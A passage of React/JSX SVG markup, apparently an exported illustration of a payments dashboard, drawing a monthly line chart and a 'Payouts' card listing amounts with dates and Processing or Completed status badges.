1.259v3.934h-1.456v-3.709q0-.62-.323-.97-.317-.35-.88-.35-.383 0-.68.17-.294.165-.463.478-.165.314-.165.761v3.62h-1.456V294h1.392v1.05h.072q.214-.519.68-.825.47-.306 1.162-.305M312.433 291.542a.83.83 0 0 1 .595.234q.25.23.25.559a.74.74 0 0 1-.25.559.84.84 0 0 1-.595.229.85.85 0 0 1-.595-.229.74.74 0 0 1-.249-.559q0-.33.249-.559a.84.84 0 0 1 .595-.234\"\n            />\n            <path\n              fill=\"#525252\"\n              d=\"M302.861 318.519a8 8 0 0 1-.231 1.132q-.158.593-.33 1.099-.168.507-.276.806h-.96q.059-.28.163-.76.104-.475.204-1.063t.149-1.2l.046-.507h1.303z\"\n            />\n            <path\n              fill=\"#525252\"\n              fillRule=\"evenodd\"\n              d=\"M291.572 309.909q.755.046 1.353.32.725.33 1.141.91.416.575.434 1.321h-1.348a1.32 1.32 0 0 0-.598-.995 2.1 2.1 0 0 0-.982-.34v2.899l.39.102q.443.108.91.294.465.185.864.488.398.304.642.752.249.448.249 1.072 0 .788-.407 1.399-.403.61-1.172.964-.628.289-1.476.339v1.018h-.741v-1.017a4.2 4.2 0 0 1-1.435-.318q-.76-.33-1.191-.936-.429-.612-.475-1.449h1.403q.04.502.326.837.29.331.738.493.298.103.634.138v-3.072l-.439-.12q-1.114-.303-1.766-.891-.647-.589-.647-1.557 0-.801.435-1.398a2.85 2.85 0 0 1 1.176-.928 3.8 3.8 0 0 1 1.241-.316v-1.051h.741zm0 8.29a2.5 2.5 0 0 0 .67-.164q.466-.19.733-.524.267-.34.267-.793 0-.411-.235-.674a1.75 1.75 0 0 0-.629-.434 6 6 0 0 0-.806-.279zm-.741-7.067q-.322.043-.585.156a1.53 1.53 0 0 0-.647.489q-.226.308-.226.701 0 .33.154.571.159.239.412.403a3 3 0 0 0 .552.267q.174.06.34.108zM334.065 309.899q1.063 0 1.823.566.76.562 1.164 1.63.407 1.063.407 2.569 0 1.517-.403 2.589-.403 1.067-1.163 1.634-.76.561-1.828.561-1.072-.005-1.833-.566t-1.163-1.633-.403-2.585q0-1.506.403-2.574.407-1.068 1.167-1.629.765-.562 1.829-.562m0 1.186q-.937 0-1.471.923t-.539 2.656q0 1.16.24 1.96.244.797.693 1.208a1.54 1.54 0 0 0 1.077.407q.94 0 1.47-.918.534-.918.534-2.657 0-1.154-.244-1.95-.24-.8-.693-1.213a1.51 1.51 0 0 0-1.067-.416M342.036 309.899q1.064 0 1.823.566.761.562 1.164 1.63.407 1.063.407 2.569 0 1.517-.403 2.589-.402 1.067-1.163 1.634-.76.561-1.828.561-1.073-.005-1.832-.566t-1.163-1.633-.403-2.585q0-1.506.403-2.574.406-1.068 1.167-1.629.765-.562 1.828-.562m0 1.186q-.937 0-1.471.923t-.538 2.656q0 1.16.239 1.96.245.797.693 1.208.448.407 1.077.407.942 0 1.471-.918.534-.918.534-2.657 0-1.154-.244-1.95-.24-.8-.693-1.213a1.52 1.52 0 0 0-1.068-.416\"\n              clipRule=\"evenodd\"\n            />\n            <path\n              fill=\"#525252\"\n              d=\"M315.39 309.899q.891 0 1.538.349.652.344 1.005.919.357.575.353 1.257.004.779-.435 1.322a2.1 2.1 0 0 1-1.158.728v.073q.923.14 1.43.733.512.594.507 1.471.004.765-.425 1.371a2.9 2.9 0 0 1-1.163.955q-.738.344-1.688.344-.933 0-1.665-.322-.73-.321-1.154-.891a2.37 2.37 0 0 1-.453-1.331h1.421q.027.412.276.715.253.3.661.462.407.163.905.163.548 0 .968-.19.425-.19.665-.529.24-.345.24-.793 0-.465-.24-.818a1.56 1.56 0 0 0-.692-.562q-.452-.203-1.095-.204h-.783v-1.14h.783q.516 0 .905-.185.394-.186.615-.516.222-.336.222-.783 0-.43-.195-.747a1.3 1.3 0 0 0-.542-.502 1.8 1.8 0 0 0-.824-.181 2.15 2.15 0 0 0-.846.167 1.6 1.6 0 0 0-.634.471q-.244.303-.262.728h-1.354q.023-.75.444-1.321.426-.57 1.122-.891a3.7 3.7 0 0 1 1.548-.322M328.73 317.574q.37 0 .638.267a.86.86 0 0 1 .267.634.9.9 0 0 1-.127.457.93.93 0 0 1-.326.326.87.87 0 0 1-.452.122.88.88 0 0 1-.639-.263.88.88 0 0 1-.267-.642q0-.371.267-.634a.87.87 0 0 1 .639-.267M299.433 319.294h-1.402v-7.865h-.055l-2.217 1.448v-1.34l2.312-1.511h1.362zM307.558 309.899q.873 0 1.538.349.67.344 1.045.941.376.593.376 1.34 0 .516-.195 1.009-.19.493-.665 1.099-.474.603-1.322 1.462l-1.841 1.928v.068h4.172v1.199h-6.1v-1.014l3.136-3.249q.502-.529.828-.927.331-.404.493-.765.163-.362.163-.77a1.43 1.43 0 0 0-.217-.796 1.4 1.4 0 0 0-.593-.521 1.9 1.9 0 0 0-.846-.185q-.498 0-.868.203a1.4 1.4 0 0 0-.571.576 1.8 1.8 0 0 0-.199.868h-1.335q0-.846.389-1.48.39-.633 1.068-.981.679-.354 1.544-.354\"\n            />\n            <path\n              fill=\"#525252\"\n              fillRule=\"evenodd\"\n              d=\"M325.62 316.298h1.226v1.186h-1.226v1.81h-1.335v-1.81h-4.395v-1.131l4.005-6.327h1.725zm-4.263-.073v.073h2.937v-4.607h-.073z\"\n              clipRule=\"evenodd\"\n            />\n            <path\n              fill=\"#737373\"\n              fillRule=\"evenodd\"\n              d=\"M354.293 311.995q.585.035 1.052.249.563.256.887.708.324.447.338 1.027h-1.049a1.03 1.03 0 0 0-.464-.774 1.64 1.64 0 0 0-.764-.264v2.254l.303.08q.345.084.707.229.363.144.673.379t.499.584q.194.35.194.835 0 .613-.317 1.087-.313.476-.912.75-.489.225-1.147.265v.791h-.577v-.791a3.3 3.3 0 0 1-1.116-.247 2.15 2.15 0 0 1-.925-.729 2.1 2.1 0 0 1-.37-1.126h1.091q.032.39.253.651.226.256.574.384.232.08.493.106v-2.39l-.342-.092q-.866-.237-1.372-.694-.504-.457-.504-1.21 0-.624.338-1.088t.915-.722q.44-.198.965-.245v-.817h.577zm0 6.446q.282-.03.521-.126.362-.147.57-.408a.97.97 0 0 0 .208-.616.76.76 0 0 0-.183-.524 1.35 1.35 0 0 0-.49-.338 4.5 4.5 0 0 0-.626-.217zm-.577-5.493a1.7 1.7 0 0 0-.454.12 1.2 1.2 0 0 0-.503.379.9.9 0 0 0-.177.547.8.8 0 0 0 .12.443q.123.187.32.313.201.123.429.207.135.047.265.085zM374.598 311.987q.827 0 1.418.439.592.437.905 1.268.316.827.316 1.999 0 1.179-.313 2.013-.313.831-.904 1.271-.592.436-1.422.436-.834-.003-1.426-.44-.59-.436-.904-1.27-.313-.834-.313-2.01 0-1.172.313-2.003.317-.83.908-1.267.595-.436 1.422-.436m0 .922q-.729 0-1.144.717-.415.718-.419 2.067 0 .901.187 1.524.19.62.538.939.35.317.838.318.732 0 1.144-.715.415-.714.415-2.066 0-.897-.19-1.517-.186-.623-.538-.944a1.18 1.18 0 0 0-.831-.323\"\n              clipRule=\"evenodd\"\n            />\n            <path\n              fill=\"#737373\"\n              d=\"M368.436 311.987q.693 0 1.197.271.507.267.782.714.278.447.274.979.004.605-.338 1.027a1.63 1.63 0 0 1-.901.567v.056q.718.11 1.112.57.398.462.395 1.145.003.594-.331 1.066a2.25 2.25 0 0 1-.905.742 3.1 3.1 0 0 1-1.312.268q-.726 0-1.296-.25a2.2 2.2 0 0 1-.897-.693 1.83 1.83 0 0 1-.352-1.035h1.105a.95.95 0 0 0 .214.556q.198.233.514.359.317.127.705.127.425 0 .753-.148.33-.148.517-.412a1.05 1.05 0 0 0 .186-.616 1.1 1.1 0 0 0-.186-.637 1.2 1.2 0 0 0-.539-.436 2.1 2.1 0 0 0-.852-.159h-.608v-.887h.608q.402 0 .705-.144.306-.144.478-.401.172-.261.172-.609 0-.335-.15-.581a1 1 0 0 0-.423-.391 1.4 1.4 0 0 0-.641-.141q-.351 0-.658.131a1.2 1.2 0 0 0-.493.366.95.95 0 0 0-.204.567h-1.052a1.8 1.8 0 0 1 .345-1.028q.33-.444.873-.694a2.85 2.85 0 0 1 1.203-.249M395.737 311.987q.573 0 1.07.165.5.162.898.479.397.313.658.767.26.45.352 1.031h-1.099a1.67 1.67 0 0 0-.658-1.074 1.8 1.8 0 0 0-.559-.281 2.2 2.2 0 0 0-.652-.095q-.623 0-1.115.314-.49.312-.775.918-.28.605-.281 1.479 0 .879.281 1.485.286.605.778.915t1.109.31q.342 0 .648-.092.31-.096.559-.278a1.675 1.675 0 0 0 .665-1.059l1.099.003q-.089.531-.342.978a2.7 2.7 0 0 1-.644.768 2.9 2.9 0 0 1-.894.496 3.3 3.3 0 0 1-1.098.176q-.936 0-1.668-.443a3.1 3.1 0 0 1-1.155-1.278q-.419-.83-.419-1.981 0-1.155.423-1.983.422-.83 1.154-1.273a3.13 3.13 0 0 1 1.665-.447M364.258 317.956a.68.68 0 0 1 .497.207.67.67 0 0 1 .207.493.7.7 0 0 1-.098.356.7.7 0 0 1-.254.253.66.66 0 0 1-.352.095.68.68 0 0 1-.496-.204.68.68 0 0 1-.208-.5q0-.288.208-.493a.68.68 0 0 1 .496-.207M359.997 311.987q.68 0 1.197.271.52.267.813.732.293.46.293 1.042 0 .401-.152.784-.147.384-.518.856-.369.468-1.027 1.137l-1.433 1.499v.053h3.246v.933h-4.745v-.789l2.439-2.527q.39-.412.644-.722.258-.313.384-.595.127-.281.127-.598 0-.358-.169-.619a1.1 1.1 0 0 0-.461-.405 1.5 1.5 0 0 0-.658-.145q-.388 0-.677.159a1.1 1.1 0 0 0-.443.447 1.4 1.4 0 0 0-.155.676h-1.038q0-.658.303-1.151.303-.492.83-.764a2.56 2.56 0 0 1 1.2-.274M385.332 313.022H381.9v2.196h3.196v.933H381.9v2.207h3.474v.936h-4.562v-7.209h4.52z\"\n            />\n            <path\n              fill=\"#737373\"\n              fillRule=\"evenodd\"\n              d=\"M389.155 312.085q.84 0 1.393.307.554.306.828.838.274.527.274 1.189 0 .664-.278 1.197-.274.528-.831.838-.553.306-1.39.306h-1.478v2.534h-1.088v-7.209zm-1.482 3.753h1.38q.532-.001.862-.184.332-.186.486-.506a1.66 1.66 0 0 0 .155-.729q0-.408-.155-.725a1.1 1.1 0 0 0-.489-.496q-.331-.18-.874-.18h-1.365z\"\n              clipRule=\"evenodd\"\n            />\n            <path\n              fill={`url(#${id}-C)`}\n              d=\"m825.818 391.593-18.497-1.449a4.25 4.25 0 0 1-2.93-1.514l-19.982-23.954a4.25 4.25 0 0 0-4.155-1.432l-20.502 4.406a4.25 4.25 0 0 1-3.446-.759l-18.34-13.794a4.25 4.25 0 0 0-5.491.326l-20.409 19.538a4.3 4.3 0 0 0-.783 1.018l-22.972 41.672a4.25 4.25 0 0 1-2.748 2.085l-17.109 4.021a4.25 4.25 0 0 1-5.02-2.846l-21.871-68.705a4.25 4.25 0 0 0-4.809-2.89l-18.033 3.288a4.25 4.25 0 0 0-2.776 1.827l-20.803 31.295c-1.559 2.345-4.926 2.552-6.76.416l-15.599-18.167a4.25 4.25 0 0 0-6.038-.413l-18.844 16.674a4.25 4.25 0 0 1-4.673.639l-20.623-10.037a4.26 4.26 0 0 1-1.662-1.442l-19.486-28.856a4.247 4.247 0 0 0-6.264-.865L476.42 357.56a4.3 4.3 0 0 0-.685.735l-21.914 29.969a4.25 4.25 0 0 1-3.429 1.74H430.17a4.25 4.25 0 0 1-3.073-1.316l-44.867-47.041a4.25 4.25 0 0 0-2.041-1.189l-20.326-5.096a4.25 4.25 0 0 0-3.587.726l-20.699 15.569a4.3 4.3 0 0 1-.982.552l-22.211 8.844a4.25 4.25 0 0 0-2.188 1.97l-23.691 45.078a4.25 4.25 0 0 0-.487 1.976v26.385a4.247 4.247 0 0 0 4.247 4.248h535.222a4.247 4.247 0 0 0 4.247-4.248v-40.634a4.247 4.247 0 0 0-3.916-4.235\"\n              opacity=\".2\"\n            />\n            <path\n              fill={`url(#${id}-D)`}\n              d=\"m825.818 391.593-18.497-1.449a4.25 4.25 0 0 1-2.93-1.514l-19.982-23.954a4.25 4.25 0 0 0-4.155-1.432l-20.502 4.406a4.25 4.25 0 0 1-3.446-.759l-18.34-13.794a4.25 4.25 0 0 0-5.491.326l-20.409 19.538a4.3 4.3 0 0 0-.783 1.018l-22.972 41.672a4.25 4.25 0 0 1-2.748 2.085l-17.109 4.021a4.25 4.25 0 0 1-5.02-2.846l-21.871-68.705a4.25 4.25 0 0 0-4.809-2.89l-18.033 3.288a4.25 4.25 0 0 0-2.776 1.827l-20.803 31.295c-1.559 2.345-4.926 2.552-6.76.416l-15.599-18.167a4.25 4.25 0 0 0-6.038-.413l-18.844 16.674a4.25 4.25 0 0 1-4.673.639l-20.623-10.037a4.26 4.26 0 0 1-1.662-1.442l-19.486-28.856a4.247 4.247 0 0 0-6.264-.865L476.42 357.56a4.3 4.3 0 0 0-.685.735l-21.914 29.969a4.25 4.25 0 0 1-3.429 1.74H430.17a4.25 4.25 0 0 1-3.073-1.316l-44.867-47.041a4.25 4.25 0 0 0-2.041-1.189l-20.326-5.096a4.25 4.25 0 0 0-3.587.726l-20.699 15.569a4.3 4.3 0 0 1-.982.552l-22.211 8.844a4.25 4.25 0 0 0-2.188 1.97l-23.691 45.078a4.25 4.25 0 0 0-.487 1.976v26.385a4.247 4.247 0 0 0 4.247 4.248h535.222a4.247 4.247 0 0 0 4.247-4.248v-40.634a4.247 4.247 0 0 0-3.916-4.235\"\n            />\n            <path\n              stroke={`url(#${id}-E)`}\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.062\"\n              d=\"m286.018 409.029 24.178-46.006a4.25 4.25 0 0 1 2.188-1.97l22.211-8.844c.35-.14.681-.325.982-.552l20.699-15.569a4.25 4.25 0 0 1 3.587-.726l20.326 5.096a4.25 4.25 0 0 1 2.041 1.189l44.867 47.041a4.25 4.25 0 0 0 3.073 1.316h20.222a4.25 4.25 0 0 0 3.429-1.74l21.914-29.969a4.3 4.3 0 0 1 .685-.735l18.773-15.885a4.247 4.247 0 0 1 6.264.865l19.486 28.856a4.26 4.26 0 0 0 1.662 1.442l20.623 10.037a4.25 4.25 0 0 0 4.673-.639l18.844-16.674a4.25 4.25 0 0 1 6.038.413l15.599 18.167c1.834 2.136 5.201 1.929 6.76-.416l20.803-31.295a4.25 4.25 0 0 1 2.776-1.827l18.033-3.288a4.25 4.25 0 0 1 4.809 2.89l21.871 68.705a4.25 4.25 0 0 0 5.02 2.846l17.109-4.021a4.25 4.25 0 0 0 2.748-2.085l22.972-41.672a4.3 4.3 0 0 1 .783-1.018l20.409-19.538a4.25 4.25 0 0 1 5.491-.326l18.34 13.794a4.25 4.25 0 0 0 3.446.759l20.502-4.406a4.25 4.25 0 0 1 4.155 1.432l19.982 23.954a4.25 4.25 0 0 0 2.93 1.514l22.413 1.756\"\n            />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#525252\"\n              fontFamily=\"Inter\"\n              fontSize=\"8.496\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"287.08\" y=\"447.237\">\n                Dec 16\n              </tspan>\n            </text>\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#525252\"\n              fontFamily=\"Inter\"\n              fontSize=\"8.496\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"803.186\" y=\"447.237\">\n                Jan 16\n              </tspan>\n            </text>\n            <path\n              fill=\"#fff\"\n              d=\"M728.088 290.621h97.398a3.894 3.894 0 0 1 3.894 3.895v11.327a3.893 3.893 0 0 1-3.894 3.893h-97.398a3.894 3.894 0 0 1-3.895-3.893v-11.327a3.895 3.895 0 0 1 3.895-3.895\"\n            />\n            <path\n              stroke=\"#e5e5e5\"\n              strokeWidth=\".708\"\n              d=\"M728.088 290.621h97.398a3.894 3.894 0 0 1 3.894 3.895v11.327a3.893 3.893 0 0 1-3.894 3.893h-97.398a3.894 3.894 0 0 1-3.895-3.893v-11.327a3.895 3.895 0 0 1 3.895-3.895Z\"\n            />\n            <path\n              fill=\"#171717\"\n              fillRule=\"evenodd\"\n              d=\"M738.629 294.457a.53.53 0 0 1 .53.531v.727h.414a1.79 1.79 0 0 1 1.789 1.79v5.349a1.79 1.79 0 0 1-1.789 1.79h-5.979a1.79 1.79 0 0 1-1.789-1.79v-5.349c0-.989.801-1.79 1.789-1.79h.413v-.727a.531.531 0 0 1 1.062 0v.727h3.029v-.727a.53.53 0 0 1 .531-.531m-5.762 4.523v3.874c0 .401.325.728.727.728h5.979a.73.73 0 0 0 .727-.728v-3.874zm.727-2.203a.727.727 0 0 0-.727.728v.413h7.433v-.413a.727.727 0 0 0-.727-.728z\"\n              clipRule=\"evenodd\"\n            />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#171717\"\n              fontFamily=\"Inter\"\n              fontSize=\"8.496\"\n              fontWeight=\"500\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"747.91\" y=\"303.268\">\n                Last 12 months\n              </tspan>\n            </text>\n            <g clipPath={`url(#${id}-F)`}>\n              <path\n                fill=\"#737373\"\n                d=\"M821.195 298.821a.53.53 0 1 1 .751.75l-2.458 2.459a.533.533 0 0 1-.752 0l-2.457-2.459a.53.53 0 0 1 0-.75.53.53 0 0 1 .75 0l2.083 2.081z\"\n              />\n            </g>\n            <path\n              fill=\"#171717\"\n              d=\"M350.325 293.04q.048 0 .093.008l.012.002q.015.004.028.009.035.008.07.021.03.014.059.031.06.034.114.085a.5.5 0 0 1 .083.113q.018.028.031.059a.5.5 0 0 1 .032.109.5.5 0 0 1 .009.094v4.72a.531.531 0 0 1-1.062 0v-3.438l-3.813 3.813a.53.53 0 1 1-.751-.75l3.813-3.814h-3.438a.531.531 0 0 1 0-1.062z\"\n            />\n            <rect\n              width=\"275.398\"\n              height=\"186.195\"\n              x=\"860.885\"\n              y=\"276.461\"\n              fill=\"#fff\"\n              rx=\"5.31\"\n            />\n            <rect\n              width=\"275.398\"\n              height=\"186.195\"\n              x=\"860.885\"\n              y=\"276.461\"\n              stroke=\"#e5e5e5\"\n              strokeWidth=\".708\"\n              rx=\"5.31\"\n            />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#262626\"\n              fontFamily=\"Inter\"\n              fontSize=\"11.327\"\n              fontWeight=\"600\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"874.691\" y=\"300.386\">\n                Payouts\n              </tspan>\n            </text>\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#737373\"\n              fontFamily=\"Inter\"\n              fontSize=\"9.912\"\n              fontWeight=\"500\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"1053.48\" y=\"299.871\">\n                4\n              </tspan>\n              <tspan x=\"1074.84\" y=\"299.871\">\n                24 r\n              </tspan>\n              <tspan x=\"1099.3\" y=\"299.871\">\n                s\n              </tspan>\n              <tspan x=\"1110.51\" y=\"299.871\">\n                l\n              </tspan>\n              <tspan x=\"1116.58\" y=\"299.871\">\n                s\n              </tspan>\n            </text>\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#737373\"\n              fontFamily=\"Inter\"\n              fontSize=\"9.912\"\n              fontWeight=\"500\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"1059.96\" y=\"299.871\">\n                {\" \"}\n                of{\" \"}\n              </tspan>\n              <tspan x=\"1093.48\" y=\"299.871\">\n                e\n              </tspan>\n              <tspan x=\"1104.61\" y=\"299.871\">\n                u\n              </tspan>\n              <tspan x=\"1112.98\" y=\"299.871\">\n                t\n              </tspan>\n            </text>\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#262626\"\n              fontFamily=\"Inter\"\n              fontSize=\"8.496\"\n              fontWeight=\"500\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"874.691\" y=\"328.511\">\n                $78.34\n              </tspan>\n            </text>\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#737373\"\n              fontFamily=\"Inter\"\n              fontSize=\"7.788\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"874.691\" y=\"340.086\">\n                Jan 12, 2026\n              </tspan>\n            </text>\n            <path\n              fill=\"#dbeafe\"\n              d=\"M1053.41 327.09c0-2.346 1.9-4.248 4.25-4.248h60.57c2.35 0 4.25 1.902 4.25 4.248v8.495c0 2.346-1.9 4.248-4.25 4.248h-60.57a4.247 4.247 0 0 1-4.25-4.248z\"\n            />\n            <path\n              fill=\"#155dfc\"\n              d=\"M1063.32 328.86c.29 0 .53.237.53.531v1.705l1.24 1.081.03.038c.19.197.2.505.02.711a.536.536 0 0 1-.71.084l-.04-.034-1.42-1.239a.55.55 0 0 1-.18-.399v-1.947c0-.294.24-.531.53-.531\"\n            />\n            <path\n              fill=\"#155dfc\"\n              fillRule=\"evenodd\"\n              d=\"M1063.32 327.09a4.247 4.247 0 1 1 0 8.495 4.247 4.247 0 1 1 0-8.495m0 1.062a3.19 3.19 0 0 0-3.19 3.186 3.19 3.19 0 0 0 3.19 3.185c1.76 0 3.19-1.426 3.19-3.185s-1.43-3.186-3.19-3.186\"\n              clipRule=\"evenodd\"\n            />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#155dfc\"\n              fontFamily=\"Inter\"\n              fontSize=\"8.496\"\n              fontWeight=\"600\"\n              letterSpacing=\"-.02em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"1071.81\" y=\"334.09\">\n                Processing\n              </tspan>\n            </text>\n            <path fill=\"#e5e5e5\" d=\"M874.691 348.833h247.788v.708H874.691z\" />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#262626\"\n              fontFamily=\"Inter\"\n              fontSize=\"8.496\"\n              fontWeight=\"500\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"874.691\" y=\"364.21\">\n                $56.89\n              </tspan>\n            </text>\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#737373\"\n              fontFamily=\"Inter\"\n              fontSize=\"7.788\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"874.691\" y=\"375.784\">\n                Jan 5, 2026\n              </tspan>\n            </text>\n            <path\n              fill=\"#dbeafe\"\n              d=\"M1053.41 362.789c0-2.346 1.9-4.248 4.25-4.248h60.57c2.35 0 4.25 1.902 4.25 4.248v8.495c0 2.346-1.9 4.248-4.25 4.248h-60.57a4.247 4.247 0 0 1-4.25-4.248z\"\n            />\n            <path\n              fill=\"#155dfc\"\n              d=\"M1063.32 364.559c.29 0 .53.238.53.531v1.706l1.24 1.08.03.038c.19.197.2.505.02.712a.537.537 0 0 1-.71.083l-.04-.034-1.42-1.239a.55.55 0 0 1-.18-.399v-1.947c0-.293.24-.531.53-.531\"\n            />\n            <path\n              fill=\"#155dfc\"\n              fillRule=\"evenodd\"\n              d=\"M1063.32 362.789a4.247 4.247 0 1 1 0 8.496 4.247 4.247 0 1 1 0-8.496m0 1.062a3.19 3.19 0 0 0-3.19 3.186 3.19 3.19 0 0 0 6.38 0c0-1.76-1.43-3.186-3.19-3.186\"\n              clipRule=\"evenodd\"\n            />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#155dfc\"\n              fontFamily=\"Inter\"\n              fontSize=\"8.496\"\n              fontWeight=\"600\"\n              letterSpacing=\"-.02em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"1071.81\" y=\"369.789\">\n                Processing\n              </tspan>\n            </text>\n            <path fill=\"#e5e5e5\" d=\"M874.691 384.532h247.788v.708H874.691z\" />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#262626\"\n              fontFamily=\"Inter\"\n              fontSize=\"8.496\"\n              fontWeight=\"500\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"874.691\" y=\"399.909\">\n                $102.45\n              </tspan>\n            </text>\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#737373\"\n              fontFamily=\"Inter\"\n              fontSize=\"7.788\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"874.691\" y=\"411.483\">\n                Dec 23, 2025\n              </tspan>\n            </text>\n            <path\n              fill=\"#dcfce7\"\n              d=\"M1054.41 398.488c0-2.346 1.9-4.248 4.25-4.248h59.57c2.35 0 4.25 1.902 4.25 4.248v8.496c0 2.346-1.9 4.247-4.25 4.247h-59.57a4.246 4.246 0 0 1-4.25-4.247z\"\n            />\n            <path\n              fill=\"#008236\"\n              fillRule=\"evenodd\"\n              d=\"M1064.32 399.55a3.19 3.19 0 0 0-3.19 3.186c0 1.76 1.43 3.186 3.19 3.186s3.19-1.426 3.19-3.186a3.19 3.19 0 0 0-3.19-3.186m-4.25 3.186c0-2.346 1.9-4.248 4.25-4.248a4.247 4.247 0 1 1 0 8.496 4.247 4.247 0 0 1-4.25-4.248m6.16-1.84c.24.176.29.508.11.743l-2.13 2.832a.52.52 0 0 1-.38.211.54.54 0 0 1-.42-.154l-1.06-1.062a.526.526 0 0 1 0-.751.53.53 0 0 1 .75-.001l.63.63 1.76-2.343a.527.527 0 0 1 .74-.105\"\n              clipRule=\"evenodd\"\n            />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#008236\"\n              fontFamily=\"Inter\"\n              fontSize=\"8.496\"\n              fontWeight=\"600\"\n              letterSpacing=\"-.02em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"1072.81\" y=\"405.488\">\n                Completed\n              </tspan>\n            </text>\n            <path fill=\"#e5e5e5\" d=\"M874.691 420.231h247.788v.708H874.691z\" />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#262626\"\n              fontFamily=\"Inter\"\n              fontSize=\"8.496\"\n              fontWeight=\"500\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"874.691\" y=\"435.608\">\n                $49.99\n              </tspan>\n            </text>\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#737373\"\n              fontFamily=\"Inter\"\n              fontSize=\"7.788\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"874.691\" y=\"447.182\">\n                Dec 12, 2025\n              </tspan>\n            </text>\n            <path\n              fill=\"#dcfce7\"\n              d=\"M1054.41 434.187c0-2.346 1.9-4.248 4.25-4.248h59.57c2.35 0 4.25 1.902 4.25 4.248v8.496c0 2.346-1.9 4.248-4.25 4.248h-59.57a4.247 4.247 0 0 1-4.25-4.248z\"\n            />\n            <path\n              fill=\"#008236\"\n              fillRule=\"evenodd\"\n              d=\"M1064.32 435.249a3.19 3.19 0 0 0-3.19 3.186c0 1.76 1.43 3.186 3.19 3.186s3.19-1.426 3.19-3.186a3.19 3.19 0 0 0-3.19-3.186m-4.25 3.186c0-2.346 1.9-4.247 4.25-4.247s4.25 1.901 4.25 4.247-1.9 4.248-4.25 4.248a4.247 4.247 0 0 1-4.25-4.248m6.16-1.84c.24.176.29.509.11.743l-2.13 2.832a.52.52 0 0 1-.38.211.54.54 0 0 1-.42-.154l-1.06-1.062a.53.53 0 0 1 .75-.752l.63.631 1.76-2.343a.53.53 0 0 1 .74-.106\"\n              clipRule=\"evenodd\"\n            />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#008236\"\n              fontFamily=\"Inter\"\n              fontSize=\"8.496\"\n              fontWeight=\"600\"\n              letterSpacing=\"-.02em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"1072.81\" y=\"441.188\">\n                Completed\n              </tspan>\n            </text>\n            <rect\n              width=\"275.87\"\n              height=\"186.195\"\n              x=\"273.274\"\n              y=\"480.354\"\n              stroke=\"#e5e5e5\"\n              strokeWidth=\".708\"\n              rx=\"5.31\"\n            />\n            <path\n              fill=\"#262626\"\n              d=\"m319.42 500.374-1.327.145a1.1 1.1 0 0 0-.197-.378 1 1 0 0 0-.37-.286 1.4 1.4 0 0 0-.572-.108q-.454 0-.764.197-.305.196-.302.511a.54.54 0 0 0 .198.438q.205.169.675.278l1.054.225q.877.19 1.303.599.43.411.435 1.074a1.7 1.7 0 0 1-.342 1.03q-.334.443-.929.692t-1.368.249q-1.134 0-1.826-.474a1.91 1.91 0 0 1-.825-1.332l1.42-.137q.097.419.411.632t.816.213q.52 0 .833-.213.318-.213.318-.527a.55.55 0 0 0-.206-.439q-.201-.172-.627-.265l-1.054-.221q-.89-.185-1.315-.624-.427-.442-.423-1.118a1.6 1.6 0 0 1 .31-.99q.318-.422.881-.651.567-.234 1.307-.233 1.086 0 1.71.462.627.464.776 1.251M309.415 502.981l-.004-1.758h.233l2.221-2.482h1.701l-2.731 3.041h-.302zm-1.327 1.939v-8.239h1.456v8.239zm3.877 0-2.011-2.812.982-1.026 2.771 3.838zM304.245 505.04q-.925 0-1.589-.406a2.7 2.7 0 0 1-1.017-1.122q-.354-.72-.354-1.658 0-.94.362-1.661a2.7 2.7 0 0 1 1.021-1.126q.664-.406 1.569-.406.752 0 1.332.277.582.273.929.776.346.5.394 1.167H305.5a1.33 1.33 0 0 0-.402-.744q-.313-.302-.841-.302a1.32 1.32 0 0 0-.784.241 1.56 1.56 0 0 0-.527.684q-.185.447-.185 1.07 0 .632.185 1.086.185.451.519.696.338.242.792.242.323 0 